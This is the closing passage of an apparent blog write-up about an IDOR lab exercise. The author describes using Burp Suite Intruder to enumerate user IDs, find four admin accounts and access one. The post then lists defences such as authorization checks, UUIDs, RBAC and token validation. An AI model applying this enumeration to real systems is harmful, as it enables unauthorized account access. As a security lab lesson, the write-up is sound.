src="https://cdn-images-1.medium.com/max/641/1*-bz5RxO6pSXSeGBfqSeOMw.png" /></figure><p>I took this task a step further to Identify which of the account is admin account as instructed by <a href="https://www.linkedin.com/in/alex-olsen-ase/">Alex Olsen</a></p><h3>Steps I followed:</h3><ul><li>I intercept the Web App to send the GET request to my BSuite Intruder,</li><li>Add all the user ID’s in the payload</li><li>I added filter option for user and Admin</li><li>then I started the Att@ck</li></ul><p>From the POC below, there are four (4) admin account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*MdKLQmmwhn4mv1pjx7KUew.png" /></figure><p>Just one more step of confirmation, Let’s access this account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*7QzHvH6Nn3NZ80RafySaDQ.png" /></figure><h3>Security Measures to Prevent IDOR Vulnerabilities:</h3><ol><li><strong>API Gateway Authorization:</strong><br>Always use API gateways to manage authentication and enforce resource access policies.</li><li><strong>Strict Authorization Checks:</strong><br>Make sure the server verifies that the authenticated user is authorized to access specific resources for every API request they are making.</li><li><strong>Use Secure Identifiers:</strong><br>Avoid sequential user IDs. Use <strong>UUIDs</strong> instead of numeric identifiers to make resource guessing harder.</li><li><strong>Access Control Policies:</strong><br>Implement role-based access control (RBAC) to restrict data access based on user roles.</li><li><strong>Token-Based Access:</strong><br>Implement session tokens or JWTs with embedded user claims and validate them against the requested resource.</li><li><strong>Response Filtering:</strong><br>Enforce the backend only returns user-specific data even if requests are tampered with.</li><li><strong>Security Testing:</strong><br>Perform regular security tests, including <strong>fuzzing</strong>, <strong>authorization tests</strong>, and automated security scans.</li></ol><p>What do you think about this? drop your opinion in comment</p><p>If you want to build labs, network with enthusiasts and professionals in the industry, and meet with other people preparing for certification exams you might want to join my new community for 2025<br><a href="https://lnkd.in/d_TwKrez">https://lnkd.in/d_TwKrez</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef949149d470" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>